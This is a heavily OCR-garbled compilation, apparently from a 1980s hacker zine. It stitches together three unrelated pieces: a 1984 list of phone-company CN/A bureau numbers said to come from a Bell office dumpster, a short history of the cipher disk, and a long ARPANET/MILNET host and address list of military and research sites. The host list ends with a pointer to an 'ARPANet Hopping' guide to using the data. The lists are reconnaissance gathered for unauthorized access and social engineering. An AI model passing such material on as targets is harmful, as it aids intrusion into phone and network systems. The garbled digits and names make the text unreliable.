M2 B12-533-5500 Del aware 315 402-3B0-0255 1785 lowa 807 4156-979-7489 Ontario (4}
303 303-293-8177 Coloradn 516 51B-471-8111 New York B 3!2—314—413& Hawaii

J04  J04-144-7913 1785 MWest Virginia 37 313-223-8490 Hichigan d 12-344=4334 Caribbean

305 912-784-0440 Florida 418 51B-471-8111 New York 812 317-265-4834 Indiana

e 306-347-2674 Sackatchewan {8) 319 416-979-3489 Ontarig {1) 813 813-278-7871 Florida
W1 303-293-B777 M07B4 HynlinE 801 &01-951-B13% Hississippi B14 412-633-3600 Pannsylvania
308 402-580-0253 Nebraska 602 303-293-8777 Arizona 315 217-325-3800 I11linois

A% 217-523-3800 11linois 601 617-787-5300 Hew Hampshire g1 816-275-2782 Hissouri

312 312=796-400 I1linois &04  A04-432-2995 British Colusbial(sl 817 214-464-7400 Texas

13 M3-223-Bb%9 Hichigan 603 402-580-0233 1/BS South Dakota B8 B1E-501-7251 California

s14 J4-721-6b26 Hissour ble  502-383-285) tenturkr 819 3514-287-3151 Buebec (%)

313 518-471-8111 New York k07 S18-471-B111 New York P00 201-676-7070 Dial-It service
il6 Bl&-275-2782 Kansas 608 b08-232-6937 Wisconsin special area code (SAC)
317 J17-265-4B34 Indiana 60 201-676-7070 New Jersey 901 &13-373-5791 Tennessee

318 504-245-5330 Louisiana biZ 402-380-0255 1/BS Minnesota 907 902-421-4110 Nova Scotia (4)
319 A02-345-0800 [owa BES  A16-979-3449 Ontario (1) 904 912-784-0440 Florida

401  &17-787-5300 Rhode Island bid bl4-464-0123 Ohio 905 J13-221-8490 Michigan

f02  402-3B0-0255 1/85 Nebraska Bl B15-373-379] Tennessee 507 18 NONE °!! Alaska

0% 403-475-26%2 Alberta (1) blé  J13-223-B690 Hichigan 912 912-784-0440 Georgia

404 T12-784-0440 Eeorgia 617 &17-TB7-5300 Nassachusetts 913 Bl&-275-2782 Kansds

405 405-236-6121 Dkl ahoaa k18 217-523-5800 I1linois 914 3518-471-B111 New York

06 303-291-8777 Hontana 619 Bl8-501-72351 California 915 512-B28-2501 Texas

40B 415-543-6374 Lalifornia 701 402-580-025% Morth Dakota 914 415-543-2861 California

409 TI3-BAI-T194 Texas _ 102 415-543-2Bb1 Nevada 918 405-234-5121 Okl ahosa

417 412-533-5400 Pennsylvania 919 912-784-0440 North Carelina

B f Decesber 1984, List found and uploaded by Shadow 2600. SOURCE: This list was directly taken fros a New
Egggaggﬂﬂslﬂesi Office dumpster, and thus Fhli list is [DIEIEtEq having all North Aserican CN/A Bureaus that exist.
HOTE: B0Y CH/A 1c far the Eahalas. Bersuda, Dosinican Republic, Jamacia, and Puerkto Rico
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This simple device has a distinguished history. Ever since its first
invention it has been repeatedly re-invented in forms only slightly
different from the original. Its story shows that man has sought (o put
the wheel 1o use in secrel communications wherever possible, even as he
also does in mechanics,

As invented in Ialy sometime before 1470, it had similar concentric
disks with the exception that one contained a **mixed'” (scramiled]
alphabet. Also, in some of the earlier versions, one of the two alphabers
was compaded of arbitrary symbols in liew of conventional charactess,

The appeal of the disk lay in the fact that with i1, encipherment
and decipherment could be performed withowl carrying bulky or
COmMpromising writen malerials.

The cipher disk came into large-scale use in the United $tates foe
the first time in the Civil War, The Federals' Chief Signal Officer
patentesd & wersion of i1, very similar to the original Ttalian disk, for use
m flag signaling. Snce his flag stations were within the view of
LConfederate signalmen as offen as not, he prescribed frequent changes of

* > selting.
ThE Ciphﬂl‘ DIER About & hall-century lates the U5 Army adopted 2 simplified

version. very similar wo this device, in which one alphabet was
Ualandard®™ and the other “reverse-standard. ™ Allhough technrically this
war 4 siep backward, there were compensating advantages since the
regularity of the alphabets tended to reduce error. During the period of
the Ferst World War and for several years afierward, the Army issued the
disk in this form 10 units that needed 3 cipher which could be carrisd
and used easily and which would give a few hours' protection to tactical
MESLAgES

In using this device you could leave the two disks in the same
seiting for an entire message, thus producing the simplest  possible
cryplogram. Or their setting could be changed with every letter af the
message and, if the patiern of the sellingchanges were complex enough,
you weuld have an extremely secure cipher.
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HOBTE BY LOCATIGN

BTATE/COUNTRY
HOBT HAME
ALABAMA
AMMIS=mMIL=TAC
OUNTER-ADAMN
BUNTER=THRLC
AICOR=-TAG
MICOM=-TEST
APD
FRANKFURT-MIL=TALC
ARTIONA
YUMA-BW
YuMA=TAC
CALIFORNIA: Martharn

A=LHI=BRI=-03
AIDE-UNIX
AMELIA-EC
AMEE-MAB-0N
AMED=TALC
AMEB-VHBB
FMOC-BECURE
KESTREL

LBL

LEL-CBAN
LEL-MILNET-BH
LLL=CRE
LLL=AFE
bhb=TIE
LLL=IDIVIBIDN
HFE

HPE-TAC
OFFICE-1
OFFICE-1%
OFFICE-15
OFFICE=Z
OFFICE=-3
OFFICE-T
OFFICE-@
PARC-HANL
PFARC-VARLC
R1ACE-OH
RIACE-1CARUG
gi=A

81-B

B1-E-0M

al=c

GRI=-Al
BRI-CIETHER-GH
SRI-CHL
BRI-Fa&

BRI-OW

BRI-IW

BRI=-KL
BRI-MIL-THRC
SAI-MILNET-0MW
BRI-HWIC
EBERI-FR-BH1
BRI-FR-BMWZ
BRI-PR=-GW3X
GRI-GBPAN-TEBT
BRI-BFRM
BRI=-THC
GRI-UNIE
BRI-WARF
BTAMFORD-GATEWAY
Hu=#A
BU-BCORE
HLI-TALC
BURER=ATLH
UCE-ARFA
UCE-VAX
USEE3=TAL
UBOEI=- Y
1ERDR

CALIFDRNIA® Bouthmrn
ACEC

ACCAT-TAC
ADA-VAX
AEROHET -0MW
AEROBPACE
AFBC-BD
AFBC=6D=TAC
c1T=-20
CIT-CE-BH
CIT-WaN
EDWMARDE=2060
EDMARDE-VAK
I181-GATEMAYT
I8I=HODOOBLIN
181 ~-HCOM-GW
IBI-MILMET—BH
181-FNELL
IS1-PEAT-TIA
18I-BPEECHI 1
IGI=VAXA
JPL=VLEI
LOBICON
HARTIH-ED
NOBEC

MOBC-F4&
HOBC-BW
HOBC=BECUREZ
MOGC=-BECURED
HOBC-TECR
MPRDC
HPADC=0M
MTEC-TACODEW-BD1

HHWC-J3&03
HHC=-387A
NMC=JO7H
HWHWC-TAC
RAMD-ARPA-TAC
RAND-UNTE

HO8T ADDRESHE

Fh. 2.0, 113
b, 1.0.13
26:.2.0.17F
2h. 2.0, %1
Z6.1.0.%1

25 0.0, 114

Eh. 3. 0. T3
28.2.0.73

10.7.0.31
19.2.0. 94
26.4,.0.1&
Zh:. 8.0, 14
Zh.1l.0.18
2E.3.0.16
2. 3:0:33
10 3.0.32
Ph. 0. 0. 34
Thel.G.34
10.0.0.68
24,.3.0.21
ZE.1.0.21
b -
28.2.0:.21
26.0.0.33
TE. 2. 0. 33
Z8.0.0.43
Zh.1.0.93
28.1.0.43
262073
ZTh. 2.0 h3
26.3.0.43
TEL 0. 0.3
10:.0.0.32
10.1.0.32
Zhotat. i
26: 6.0 14
Th.1.0.95
286.2.0.98
26: 2,098
PP -
10.8.0.2
18, 1.0 107
10.2.0.2
28.4%.0.7F
16.5.0.31
10. 5.0, 2
10 LoD 2
26.5.0.7X
10.4.0.9%
12.0.0.91
10.1.9.31
16.3.0.81
10.0.0.107
10.2.0. 197
10.0.9.2
10.3.0.2
10.2.0.31
b 1073
ib.1.0.11
10. 0. 0.1k
10,.3.0,11
19,2011
10,0 OuSh
10.90.0.70
10.2:0.78
TE.1.0.70
ZFhoD.0. 7O
10, 2.0.32

2y o oD BT
L - -

Al 20103

24.8.0. 585
k. 2. 0.865
Bl 00, &5
2hale0abI
10.0.0.34
10 1.0.54
i0:1:0.04
2h.1.0.3%
2. 0.0, 3%
103027
10.1.0.32
10.1.0.32
19, d.0., 22
10:1.0.27
10.3.0.22
10.0.0.322
LO. 2.0 27
1.3, 0.34
db. 2. 0:3

26:.F3.0.45
- T O

T 0. 30
26 0.0.3

2k 0033
Zh.3.0.33
db.1.0.33
2b.3.0.3

Fha I 0.3

b, 1.0.3

26.1.9.83
Zha 0083
Zh.3.0.03
Th. 2. 0,83
19.2.0.7

10.3.0.7F

i7=0up-84

BITE ADDRESB

HaALE

= Annistan

Alr Farces Data Systess
Alr Force Data Byataas
frmy MHissils Comaamd
Aray Missalls Cossand

Cafesnas Communicatlans AgEACY

Aray Yusa Provimg Groend
Army Yuma Prowving Bround

GR]l Intarnational

Advanced Inforssatlon

HABA
HASA
NASA
HABA

Havy Flast Muserical

Ksstral Instituts

University of Callfornla
Univaraity of California

Lawrence Berkslesy

Univarsity of Califaernia
Univearsity af Callfarnla
Univereity of California
Briveralty of Califernia
Maval Fostgraduate Behoal
Haval Postgraduats Behool

Tymshare, Inc.
Tymahars®; InC.
Tyashara, Inc.
Tyashare, [Inc.
Tymashar®; IAC.
Tyaahara, LnC.
Tyashare, Inc.
Lwron Corpearatlan
fwrox Corparatlan

Resaarch Instlitute +or
Reasarch lnektitute Hfor
Uniwerslty of California
Unilweralty of Californla
Univarsity of California
University of Californmla

BRI Internatienal
BRI Intearnational
BRI International
ER] Intsrnatiocnal
BRI Intarnational
BRI Intwrnational
BRI International
BRI Intsrnational
BRI Internaticonal
BRl Intsrnatlonsal
BRI International
BRI International
BRI International
BRI Iatsranatlonal
BRI Imaternational
BRI Internatichal
GRl International
BRI Internationsl

Btandord Unilversity
Btanfoerd Unlvarslty
Btanford Universlty
Btanftord Universlty
SGtandord Uplvearalty Meadlical

Unlveraity of Calidornia
University of California
W.8. Owologlical BurFvay
U.G. Becloglcal Burvaey

isras Corporation

Advanced Cospubar

HWaval Deman Bysteams Center

UEBC

The Awsrcupace Corporatlion
The Asrcspacs Corporation
Alr Force Bysteas Coasand
Alr Force Bystsss Coasand

CALTECH
CALTECH
CALTEGH

Edwardas AlFr Force Baas
Edwards fAir Force Dasé

[1]= 0
UEE
uac
1]=1H
usc
ugc
usc
usc

Jat Propulslon Laboratery

Loglicon, Inc.

Aartin Maristta Carpoaration

Haval Ocean
Haval Dcman
Haval Dcwman
Maval Ocwean
Haval DEsan
Haval Ocean

Canter
Center
Cantar
Canter
Canter
Centar

Haval Fersonnel Ressarch
Maval Parsannsl Ressarch
Bparry Technlcal Bervicas

MHaval
Maval
Hawial
MHawval

MWeapone Ceantar
Weapons Cantar
Wsapons Canter
HWeapons Canter

The Rand Corporatioan
The Rand Carporastlion

RAMDZ-MIL-TAC
UCLA=-ATE
LUELA=CCH
UCLA-LOCUS
UCLA-TEBT
UsSC=ECL
UGC=ECLD
USCc-ECLC
UBC-181
UBC=161D
UAC=18IC
UBEC-181D
UAC=1BIE
UAC=181IF
UWBE=TAC
COLORADD
UBEEZ-HULTICE
UBB8Z-ThHE
COMMECTICUT
HUBC
YALE
YALE-BW
DEL AMARE
UDEL-EE
UDEL=0uW
UBEL-RELAY
EHBLAND
MINET-LOM-EM
HINET=LOM=TAC
FLORIDA
AFBEC-AD
AFBEC-AD=TAC
EQLIM=VANX
JAY1-HIL-TAC
HARTIM
HART IN=0
HEGE
GEOREIRA
IBHIRB-FORGECOM
IERIAD=FTOILLA
RORIME=-TAC
ROBIMB-UMIX
BERMANY
pCA=EUR
HINET-BRHM-TAC
HMINET-HOL=TAC
MINET-0BL-EN
HIMET-OBL-TAC
HINET-RAHM-TAG
HINET=YHMN=EHN
HIHET-VHM-TAC
FATCH
SECEKENHE IH=EMH
HANATL
CINCPAC-TAC
HANATI I-EMH
ILLINDOIEG
AFCC-1
AFCC=2
AFCC=3
AFCC-&
ANL-HCB
CORFPION=-VHE
ACOTT-TAC
BCOTTZ-HIL-TAC
IND1ANA
PURDUE-CE=0OM
PURDUE=-X25
ITALY
CFO
HWIMET=-CPO-TAC
HINET-EIEB-TAC
KORE#M
KOREA-EMH
KDOBREA=TALC
HORL-HIL-TAC
LOUIGIANA
NRDCHNOLA-LU1 100
HARYLAMD
AP@=1
APD=—-32
APE-3
BRL
BRL-OATEHAY
BRL-BATEWAYZ
BAL=TAEC
COIME-DATEWAY
DAVID-TAC
DTHSROC=0M
DTRL
HARYLAND
MARYLAND-EN
HALCOHN
HBS=AMRAF
NBB-80C
HEE-881
MEHE
HLH-B8H
MLM-MCH
HERDCOA=0MW
HBWC-HWD
FAX-RV-TAGC
PAIRYV=HESB
TYCHO
HABBACHUBETTS
A=-LHI=-BEN=-01
AFDL
AFBL-TAC
ARPANET-NGC
PhM=ARPA=TALC
BBEM-CLEX
BEM-CRONUE-GH
BEMN=FIBERA=0OMW
DRM=-MIL=-TAC

19.2:0.23

Zha 0. 0. &F
At la@aB®

2h.3.0.92
0. Z.0.%
10.2.0.%

i0:2:0:%&
L. 0,095
10,0, 0.7

ad.0.0.,7
24, 1.0.7

Dha@a Q.33
db.3.0:33
26:4.0.33
2h.4.0.100
oD 0. D3
Al la0s b4
26.4.0.33

dtad. 0. b4
26.0.0. 564
26.2.0,44
Zhade Db

L - T ]
24,1.0.3
Ed. 104
24,0.0.1
Z8. 1.0, 1
LR TLIT
2R 20,2
Z4.1.0.2
id.b.0.2
Th.4.0:.118

2&. 2. 0. 384
TR LA

db. 4. 0.010
FLTE-IL-ER R
Zh.56.0.118
Z2h.7.0.118
db.1.0.33
b a0 33
Zh.l.0.39
Z&6.0.0.118

10.2:0.37
I0.2.0.98

4. 0.0.8
28.1.0.8
Zh.1.0.%

2b:0:0:117
24, 2.0.117
Z28.2.0.109

Zh.Fa. 0. 109

Fhel.0.2%
Zhabo0.2F
25.4,.0,.2%
5. 0.0.29
Zh.3.0.2%
2b6.0.0.2%
26.2.0.2%
Fhel 057
Zh.2.0.81
2&.0.0.81
Z&.3.0.81
Zh.Z. ST
Z6.2.0.37
2. 1.9.081
Th 0. 17
FIPE
2. T.0,01W
Th, 0. 0,81
Zh.0.0.88

Z&.0.0. 102
Lt Ja 0. F7
B 22097
Zdia 0. 37

10 b0 63
Zh.1.0.64
Th.Z.0. 44
10:.3.0.82
10.1.0.83

The Rand Corporatlaon

Uriveralty
uUnlveralty
Unlverslty
Univeredlty
uac
ugc
uac
[} ]2
usc
UBE
ugc
UBC
UsC
usc

of Califarnla
of Californla
ol Calidarnia
of Califarnls

U.5. ODeclogical Durvey
U:8, Oeoclogical Burvay

Maval Underwater Systess
Yale University
Yale Unliversity

University of Dalawars
University of Dalawars
University of Delawars

CINCUBHAYEUR
CIMCUEMAVELR

Alr Force Arsament Divisien

Biir Forca Araaseant Divislon

Eglim Alr Forcs Bass

Havy Reglional Data

Hartin Marietts Corporatien

Martin Maristtsa Corporatlon

Haval Coastal Bystass Center

Forces Comsand

. 8. AFEy

Harner-Robine ALC/AAECDR
Warner=Robines ALC/AMECDH

DCA Europs

HINLT Installation

DCA Euraps

W.5. arsy Camnp Eing

Ww.8. Army Camp EKing

U.%. Alr Force

DCA Europs

DCA Eurcpe

Headguarters, U.B.E.COH
Aray MHatsrisl Developsant

Commandsr in Chiwd Pacific
OGCE Tamchrical Contral

Alr Foréee Coasunlcatlans
Alr Farce Cossunications
ALr Force Cossunications
Alr Force Cosmunications
Argonne Hational Laboratery
beuld Bofteare Divislan

fAlr Force Cossunications
Alr Force Coasunlcéabians

Purdus Univarslty
Purdus University

HNTCC
Haval Telw icatlions
MATOD Harit arr Flald

AUTODIN Beitching Canter
AUTODIM Bwitching Canter
Havy Aeglonal Data

Mavy Reglienal Dats

Tant and Evalustion Cosmand
Absrdesn Froving Oround
Aberdeesn Prewing BFgund

Aray Arnassnt Ressarch

Army Arasament, Munitiona
Aray Arnamsnt Resadsrch

Arey Arnassnt Ressarch
Hational Bescurity Agency
David Tavlar Naval Ship
David Taylar Naval Bhip
Cavid Tavior Maval Bhip
Univerelty of Haryland
Univeralty af Haryland

David Taylar Haval Bhip
Hational Bursau of Standards
Hational Buressu of DStandards
Hatlienal Buresau of Btandards
Cavid Taylor Haval Shigp
Hational Institutes of Hesalth
Hational Tnetitutss of Haalkh
David Tavyliar Maval Bhip
Haval Burfsce Heapons Center
Naval Electronics Byrateaas
Haval Elsctromnlcs Svabtsan
MHatlonal Bscurlty Agency

BBM Comaunicatliaons
Alr Force Beophysice
Alr Force Decphyslcs
BEBM Cossunlcatlona

Bolt Beransk and Hewsan
Polt Beranwk and Meswsan
Bolt Beransk and Hesaan
Balt Beranek and Hewsan
Balt Beransk and Hewaan

Inc.
The .
1me.
Inc.
Imc.



HEMW

BEH-MILHET-8W
BEN-HIMET-A-BW
BEN=NET-0ATEMAY
BEEN=FR-=0M

BEN-FR-8TATIDN-1

BlH-FEAT-18
BERM=REM
BEN-TEBTO-BW
BEM-UHILX
BEN=VAM=-GM
BEH-YAX
BEFN=-223=-0u
FRN=EI3=TEAT3I
DEN-H23-TEST4

CCA=8AC
CCA-UMIX
CCA=VHE
CIBL=BVC=MULT
CEMET-PDMH-84
CEHNET=RELAY
CEMET-EH
DDNZ
DEC-HUDEOM
DEC-MARLBORD
BEC=-TEPEZD
HARVARD
HARVARD-0W
LL

LL-EM

L=
LL-PEAT-18
LL=B8T
LL-YLET
LL-EM
HINET=TC2=EnM
MIT=&T
HIT-OM

Al T=HC
HIT-ML
AIT=RULTICE
MIT=TAC
HIT-TETAW
HIT=-%%

Al TRE=-DEDFORD

TEF1
TEBT-HOATE-223
VAE=1320

MINNEBOTA

HI=MULTICE

MIBROURT

ALHBA-1
BTL-HOBT1
BTL-HOBTE
BTLA-TAC

HEBRABKA

SAC-ARFA=TALC
BAC-BATEWAY
BAC=-aw=3
BAC-MILMET=0W
BAC-STATION
Saci=niL=-TAC
BACZ-MWIL-TAC

MEW HAMFEHIRE

HTEC=TACDEW=HHZ

MEN JERBEY

CORADCOM=TALC
CORATCOMI-TAC
HONHOUTH=E1BMN
RUTBERS
RUTBERS—-BH
TACTHET-0W
MEXICD

AFHEL

AFEL-TALC

LANL

BANDIA
SIATEL 2O
WEAR=NET-0W
WEHR-TAC
WAk

HENW YORK

BNL
COLuABEA
COLUMBIA=2Q
COLUMBIA-BW
CORMELL
CORHELL=DON
BE-CRD

HYU

HYU=gW
RADC-&RFA-TRAC
RADC-LOWEX
RADC-MULTICE
RADC=THAC
RADC=TOPEI0
ROCHEEBTER
UR-Ci-0uW

HORTH CARDL INA

BRASD-ARFA-TAC
PRADD=FR =04l
PRAGO-FR-OWZ
ERABB-BTHI1

LOBHETZ

WFAFB-AFITA
WFAFP-AFWAL
WFAFB-INFO1

10.5.0.8

Zhal Q. %9
1. %, 0.82
10.&.0.58

19.7.0.9

10. 8. 0.4F
ThsI30T2
10.0.0:. 863
1g¢.0.0.82
19.5.0.483
10. 1. 0. 82
10 OuDa TY
1%:3.0. 9%
Ll .79
(1 T Y+ P |

10:3:0.82
(1 1 P

102031
19, 0.9.31
ild:.1.0.31
19:.3.9:.31
L. & 0.0

10.4.0.5

10.7.0.82
2h.2.0.T2
10.2.0:. 7%
10.1.0.7%
1G.0.0.T%
10, 0. 0.7

1B 0.0.7

10.0.0.19
L. &. 0. 10
i S 018
10, 3.0 19
10 & 0.1
L. 0.0, 08
1. 2.0. 10
Sl F.0.11
IQ. 2.0

0. . 0. 7T
10: 3. 0.44
0. a0

10 0. Oa b

10, 2.0.77F
10, 2.0,44
Bl OFa O
2hs Ty Oadis
b, F.0.02
L. B O 99
10 3.0.99

B0 1. 0.9
Fhe .00 d]

FLEENE-ER L
26.0.0.92

Z2ha 1. AT
Th 0. 0. 4T
Tl 3. 0. 80
2d. 0. 0. &0
Th.l.0. 860
e s s 00
248, 0. 50
19.1.%.89
10.1.0.09
Td. DD &0

Thal.0.40
Th. 2. 0. 48
S0, 0. F0
2b.0.0.07
Zh.0. 0. T4
DT, 0. TA
T A
2ol 0. TH

2h.1.0.58
10.3.0.89
19.0.0.89
10.5.0.0%
10.3.0.9&
10.3.0.%a
Zheh. 0. 10
Zh. 0. 0. T8
2&.0,0.08
10.0.0,11%
25.53.0.18
280,018
ZhaeZa 0. 10
10.2.0.11%
10.0.0. 13
10.0.0.13

10. 2. 0. 30
1. 0. 0. 38
id:3,0.38
19 1.9.30

e Q. AT
Tha T D 47
bl 0.47
FOTE LI

BEBN Coamunleatlons
DFM Comaunicatlieans
Bolt Baranek and Hewsan Ine.
Balt Baranak and Nawsan Inc.
Dolt Baranak and Hewaan Lnc.
Boit Beransk and Hewaan IAE.

Balt Baransk and Ing,
Pbolt Baransk and InC.
Bolt Beransk and IfE.
Palt EBEsranmsk and Inc.
figlt Baransk and T

BB Communlcations

BEM Cossumicatlonm

BFEN Comsunications

Folt Beransk and Nesman InE.
Bolt Baransk and Mesman Inc.
Falt Deranek and Hewaan IA€.
Cosmputer Corporatieon of Aser.
Eomputer Carparatiaon af AEr.
Computer Corporatieon of Asar.
Honeywall Inforsation Bystess
Polt Beranek and Hewman Ine.
Balk Bararnak and MHeawsan Inc.
bolt be nak &nd Hawsan InE.
Bolt Baranwk and Hewman [nc:
ODigital Egulpasnt Corporation
Digital Equipasnt Corporation
Oigital Egulpmant Corparatien
Harvard Univarsity

Harvard University

HIT

HIT

HIT

HIT

MIT

HiT

HIT

Havassnts Imformation Hetwork
mET

MIT

MIT

LT

MIT

HIT

LT

HMIT

MITRE Corporation

Bolt Deranak anmd Hewman Inc.
BEH Cossunications

BEN Coamunlcaktlons

Honeywell, Inc.

Autoaats#d Logleclcs

Army Aviation Bystesas Coamand
Aray Aviation Bystsss Comsand
Aray Inforsation Bysteas

Birateglic RAlr Comsand/ADECE
Bkratwgic Alr Cossand {BACH
Headguarters, SAC
SaAC Caaaand [BALC)
Headguarters, BAC
BAC Cosmand/ADXCC
Headguartars, BAC

Fray Faderal GBysteas

Aray Arnamsnt ARessarch
Aray Arnassnt Aesearch
fAray Cossunlcaktlions

Aray Comaunlceatlans

Aray Cossunicatlions

fray Comaunlcatlons

U.B. ARray Comsunications
Rutgers Uniwversity
Butgers Univeralkby

Aray Comasunications

Alr Farca Hespons Laboratory
Alr Force Heapanis Laboratory
Loa Alamsos Mationsal

Sandia Matlional Laboratoriss
White @ands Missils Rafngms
Hrilts Bands Hissile Ranges
White Bands Himsslls Rangw
White Bands Missils Range

Orookhaven Haklamnal
Columbia Univearasiby
Coalunbla Unlvesrsiby
Colusbia Universlty

Cornell Unlwversity

Corngll Unlvearslty

G Corporates Ressarch

MHew York Universlby

Haw York Universltby

Aoas Alr Developmsnt Center
Ross Alr Deveslopasnt Cambar
Roas Air Devealopment Ceanter
Roms Alr Oevelopasnt Center
Roas ALr Developmsent Ceantar
Univeralty of Rachsstar
University of Rochesstar

Chis¥, ADDE Exparlssantal
Chimf, ADDD Cuperissntal
U.B. firmy Alrborne Board
Chimd, ADDE Exparissntal

Headgquartars, ALFr Force
Mright=-Pattaraan AlF Force
Alr Force EHright
Wright-Fattarson Alr Force

WPAFE=JALCF
+ WPFAFE-TAC

QELAHDNA
IEHIRE-FILL=10
TINKER-MIL-TAC

PENMNEYLVAM] A
COA-FRPQ1
CHU-CB-A
CHU=-CE=-B
CHU-CB-C
CHU=-DATEMWAY
LEFA=-DD

NADC
HCAD-MIL-=TAEG
NCADZ-MIL=TALC
WHARTOH-1&
RHODE IGLAMD
NAVDAF -MEWPORT
WUBC-ADA
NUBC=MPT
BCOTLAMND
MINET-HLH=TAC
TEMNEBBEE
ORNL =MER
TEXAR
A=LHI=COL-0Z
AFAFE=1
AFHPC~-2
BROOKS-AFD-TAL
COLLIN3-0OW
COLLINE-PR
COLL INS=TAC
IGMIRB-FTBLIBE
uT-NOP
UT—-BALLY
UTEIAB=20
THE HNETHERLAWDE
HINET-REH-TAC
UTAH
BPB-1
UGHAY-HIL-THALC
UTAH-20
UTAH-CB
UTAH=-OATERAY
UTAH=TAC
VIBINIA
ART-HD1
ARPA=AILMNET =0M
ARFPA-FPNB11
ARPAL=MIL=TAC
ARFPAZ-HIL-TARE
ARPAI-TAC
ASPUR-CHC
CHBC=0R
CEBE-HATEHAY
CO-RIND-0W
DARCON-HE
DARCOM-TAC
DARPA-OW
DCEC=ARPA=TAC
DCEC-BATEWAY
DCEC-LBUB
CEC-LBUBZ
DCEC-MIL-TAC
DCEC=HILMET-0M
DCEC-FEAT
DCEC-FEAT=10
DCEC-TRE
GEWN-DATEWRAY
DOM-PHO=-MIL-TAC
DOHI
EOM-UNIX
ETL=d@1
HUEY-—BW
1enIRE-CIDC
IAMIRE=DARCOR
IBMIRE=TRADOC
IFTO-OW
LOUTE-DMW
MiTRE
MHITRE-BATEWAY
MITRE-LAH
AL TRE=TAC
HORFOLEKE-MILTAC
NGWC =DL
NENC=0
HEBWC-ODAB
NOWC-TAC
BEI1BHD
TCACCIEB-CBE
UBADHEZ
HABHINBTON
UN-VLEI
Ud=yLGl=0M
WABHINBTON
HABHINBTOM-TALG
WABHINOTON, D.C.
AFBC-HY
AFEC-H@-TALC
DCA=ENS
IGHIRBE-DAIA
HARDACHASH-OQ]
NET=PL
HBBE-UNIX
mMBE-VNE
WAL
HRL-AI1G
HRAL~-ARCTAMN
HAL-CBS
HAL-CBE=0N
HRL-TOFB1D
FENTABON=TAC
WIBCOHBIN
WlIGBC-BATEWAY

25, 4.0.47
k2 0. 4T

2h:1.0.71
o 2:0:T1

2e.1.0.11%
10 1.0 1%
ZhaTaD. A7
10.3.0:.14
10.2.0.14
Zh.3.0.50
Zh. Qa2
Thada D114
I&:5:0.114
106 1.0 %94

Sk ¥ 0,92
Tl G ¥
Ty Z. 0. T2

28, 1.0.13
2. J. 0. %1

L0 4. 0. b
b 0.0 101
2b.1:0:30
Db 0.0, 30
i0.1.0.88
10. 0. 0.4
10,2048
b 4. 0. T4
10.0.0.42
10, 2. 0.42
10. 0. 0.82

Th.1:0:4

28 1.0.120
Zh.0.0.120
10, 5.0.4
19.0.0:4
I, 0. 0,4
10, 2.0.4

Th.l.0.90
10. 2. 0. 28
a3 0: 106
Zh.l.0.1084
24.2.0.104
10, . 0. 28
& 2. 0.0
Zé. ¥l 104
19.2.0.23
1. 0. 0. 23
Th,0,0.50
b T 030
10.F.0.23
10, 2. 0.20
10.1.0.2%
2. 0.104
T6.1.0,104
b TaD. 104
ig.7F.0.320
10, 5,620
18. 8. 3. 2%
24.2.0.20
10.0.9.111
Z24.03.0.17
10:1.0.25
10.3.0:. 2%
8. T, 30
2d.1:.0:17
.l
2o Ju B BT
Zh. M. 0. B
10:1:0:208
- I
Zha D O
10 1.0,
10, 2. 9,
Z24.2.0.17
&, 4.0, 108
2l P D4
2h.l.0.848
26.3.0.04
-1
10.0,.0.23
b 3. 0. 26
Z2h.bh.0.30

1
T
(]
1

[ep——
e s

19.F.9:. %1
10.F. 0. 71
10.,0.0.%1
10.2.0.%1

Th.O. 0. &7
2l .0 67
FI-N T
Thel.0. 28
28:3:.0:0
Zhe T 017
Th.TF.0.1%
2h.0.0.1%
ZhaO.0.8
Tasl:.0.8
Tl .00
Zh.T.0.0
TE.T. 0.8
2. 3.0:8
L -

10. 0. 0. 94

Hright=Pattesrsan Air Force
Aaransutlical Bystaas

Headquarters, Departasnt of
Tinker ALr Force Basm

Aray Haterisal Developasnt
Carnagis—Mellan Univerulty
Carnegies=Hellon Unlversalty
Carnaglies-Mellon Unlverslby
Carnaglea-—Mallan Usnlverslity
Letterksgnny Aray Dspob

MHaval Alr Developsesnk Canbter
Men Cusbsrland Aray Depet
Haw Cumberland Arsy Depot
UPniveralty of Penneylvanis

Haval Data Autowsatlon
Maval Undsrwatar Systass
Haval Underwater Bysteas

HAVALCTS
Dak Ridge Mational Laboratory

Rochkaall lnternational
Headguarterm, Air Forcs
Head quartera, Alr Force
Alr Force Dystess Coasand
Aockwall Internatlcenal
Rockuall International
ARockwell Internatlional
U.B.: ArEy

niwvaraity &f Tandl

Unl varalty of Tesaws at Austin
Univearaity of TEdids

HTHC TTCE

Dugeay Prowing Oraund
Duguay Proving Bround
Unlversity af Ueah
inli varalty of Utah
Yniweralty aof WBtah
Unl veraity af Utah

Aray Rasssrch Institute
Defeanes Advancesd Ressarch
Dafanas Advanced R
Datenea Advancesd R
Dafanas Advanced Asasarch
Dafanss Advanced Ressarch
Computer Belsncas Corporation
Computer Syesteas Coasaand

Tal s#dyne BEotech

Taladyns O@sE&Ech

Aray Hateriel Davelspasnt
Aray MHatsrisl Developmsnt
Centar for Balaalc Studliss
Dafwnee Comsunicatlionm
ODeternss Cossunlicatlions
pedenas Cosmsunlcatlons
Deafense Communicaktlons
betenas Cossunicatlons
Deéwnes Comaunieablons
ODeésrse Communicatlsns
Geianas Camaunicatbtlions
ODefense Cosmunicatlans
LiAakakit Corporation

Deienes Communicaklions Agency
Balt Psransk and Hessdsn IAC.
Dafanas Comsunlcations

U.B. Aray Englaser

HITRE Corpeoratlan

Crimimnal Investlgatlon

U0, Aray Hatarlal

Training and Dectrined Comsand
Dafanss Advanced Rsssareh
MITRE Carparatlaon

HITRAE Corparatiar

HMITRE Corparatis

HITRE Carporatio.

HITRAE Corparaktlan

HAE Horfolk

Hawal Burfacs Hesaspone Center
HNaval Burdaca Weaspone Center
Haval Burfasce Weapons Canter
Haval Burface Wespons Center
Teladyns Deotsch

Coaputesr Scliesnces Corparatlan
Headquar ters DARCOM

Univaralty of Mamhington
of Washington
of Washington
Ualvarsity of Washington

Alr Force Systeas

Alr Force Bystass

Dedenes Comaunicatiaons AgEncy
Headgquarters, Despartasnt of
Mavy Reglonal Dats

Mational Pursasu of Btandards
Mational PFuressu of Btandards
MHatlansl Bursau of Jtandards
Maval FREassarenh Laboratory

MHaval Labgratory
Maval Laboratory
Mawval Laboratary
Haval Lasaratary

Maval Rsssarch Laboratory
Alr Forca Data Bsrvices

Urilvarslty of Wisconsin

see "ARPANet Hopping" from 1984 collection
for details on how to use this data

TOALF @ Pepeo g
TELSTY PLATHA



A R DRl a1l

uiebe ed pue [ =0

£ LIDIIDUILSD 1004

gl sowpceilh s o _.w._ Fﬁw.u._m.u___u...__.h B ﬂu.__u._r._.._
